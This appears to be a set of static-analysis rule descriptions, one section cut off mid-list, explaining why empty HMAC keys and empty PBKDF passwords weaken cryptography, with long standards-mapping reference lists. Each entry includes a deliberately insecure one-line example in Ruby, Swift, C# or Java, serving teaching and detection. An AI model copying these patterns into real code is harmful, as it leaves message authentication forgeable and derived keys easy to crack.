It is never a good idea to use an empty HMAC key. The cryptographic strength of HMAC depends on the size of the secret key, which is used for the calculation and verification of the message authentication values. Using an empty key undermines the cryptographic strength of the HMAC function.

Example 1: The following code uses an empty key to compute the HMAC:

...
digest = OpenSSL::HMAC.digest('sha256', '', data)
...


The code in Example 1 may run successfully, but anyone who has access to it will be able to figure out that it uses an empty HMAC key. After the program ships, there is likely no way to change the empty HMAC key unless the program is patched. A devious employee with access to this information could use it to compromise the HMAC function. Also, the code in Example 1 is vulnerable to forgery and key recovery attacks.
References
[1] RFC 2104 - HMAC: Keyed-Hashing for Message Authentication Internet Engineering Task Force (IETF)
[2] New Results on NMAC/HMAC when Instantiated with Popular Hash Functions Journal of Universal Computer Science (J.UCS)
[3] Standards Mapping - Common Weakness Enumeration CWE ID 321
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[11] Standards Mapping - FIPS200 IA
[12] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[16] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[17] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[18] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[19] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[20] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[21] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[22] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[23] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[24] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[37] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[38] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.ruby.key_management_empty_hmac_key
Abstract
Empty HMAC keys could compromise system security in a way that is not easy to remedy.
Explanation
It is never a good idea to use an empty HMAC key. The cryptographic strength of HMAC depends on the size of the secret key, which is used for the calculation and verification of the message authentication values. Using an empty key undermines the cryptographic strength of the HMAC function.

Example 1: The following code uses an empty key to compute the HMAC:


...
CCHmac(UInt32(kCCHmacAlgSHA256), "", 0, plaintext, plaintextLen, &output)
...


The code in Example 1 may run successfully, but anyone who has access to it will be able to figure out that it uses an empty HMAC key. After the program ships, there is likely no way to change the empty HMAC key unless the program is patched. A devious employee with access to this information could use it to compromise the HMAC function. Also, the code in Example 1 is vulnerable to forgery and key recovery attacks.
References
[1] RFC 2104 - HMAC: Keyed-Hashing for Message Authentication Internet Engineering Task Force (IETF)
[2] New Results on NMAC/HMAC when Instantiated with Popular Hash Functions Journal of Universal Computer Science (J.UCS)
[3] Standards Mapping - Common Weakness Enumeration CWE ID 321
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[11] Standards Mapping - FIPS200 IA
[12] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[16] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[17] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[18] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[19] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[20] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[21] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[22] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[23] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[24] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[37] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[38] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.swift.key_management_empty_hmac_key

Key Management: Empty PBE Password

Abstract
Using a key generated by a password-based key derivation function that was passed an empty value for its password argument might compromise system security in a way that is not easy to remedy.
Explanation
It is never a good idea to pass an empty value as the password argument to a cryptographic password-based key derivation function (PBKDF). In this scenario, the derived key will be based solely on the provided salt (rendering it significantly weaker), and fixing the problem is extremely difficult. After the offending code is in production, the empty password often cannot be changed without patching the software. If an account protected by a derived key based on an empty password is compromised, the owners of the system might be forced to choose between security and availability.

Example 1: The following code passes the empty string as the password argument to a cryptographic PBKDF:


...
Rfc2898DeriveBytes rdb = new Rfc2898DeriveBytes("", salt,100000);
...


Not only will anyone who has access to the code be able to determine that it generates one or more cryptographic keys based on an empty password argument, but anyone with even basic cracking techniques is much more likely to successfully gain access to any resources protected by the offending keys. If an attacker also has access to the salt value used to generate any of the keys based on an empty password, cracking those keys becomes trivial. After the program ships, there is likely no way to change the empty password unless the program is patched. An employee with access to this information can use it to break into the system. Even if attackers only had access to the application's executable, they could extract evidence of the use of an empty password.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M1 Improper Credential Usage
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.dotnet.key_management_empty_pbe_password
Abstract
An empty password is used to generate a key from a password-based key derivation function (PBKDF). Providing an empty password to a PBKDF compromises system security in a way that is not easily remedied.
Explanation
It is never a good idea to pass an empty value as the password argument to a cryptographic password-based key derivation function (PBKDF). In this scenario, the derived key will be based solely on the provided salt (rendering it significantly weaker), and fixing the problem is extremely difficult. After the offending code is in production, the empty password often cannot be changed without patching the software. If an account protected by a derived key based on an empty password is compromised, the owners of the system might be forced to choose between security and availability.

Example 1: The following code passes the empty string as the password argument to a cryptographic PBKDF:


...
var encryptor = new StrongPasswordEncryptor();
var encryptedPassword = encryptor.encryptPassword("");
...


Not only will anyone who has access to the code be able to determine that it generates one or more cryptographic keys based on an empty password argument, but anyone with even basic cracking techniques is much more likely to successfully gain access to any resources protected by the offending keys. If an attacker also has access to the salt value used to generate any of the keys based on an empty password, cracking those keys becomes trivial. After the program ships, there is likely no way to change the empty password unless the program is patched. An employee with access to this information can use it to break into the system. Even if attackers only had access to the application's executable, they could extract evidence of the use of an empty password.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M1 Improper Credential Usage
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
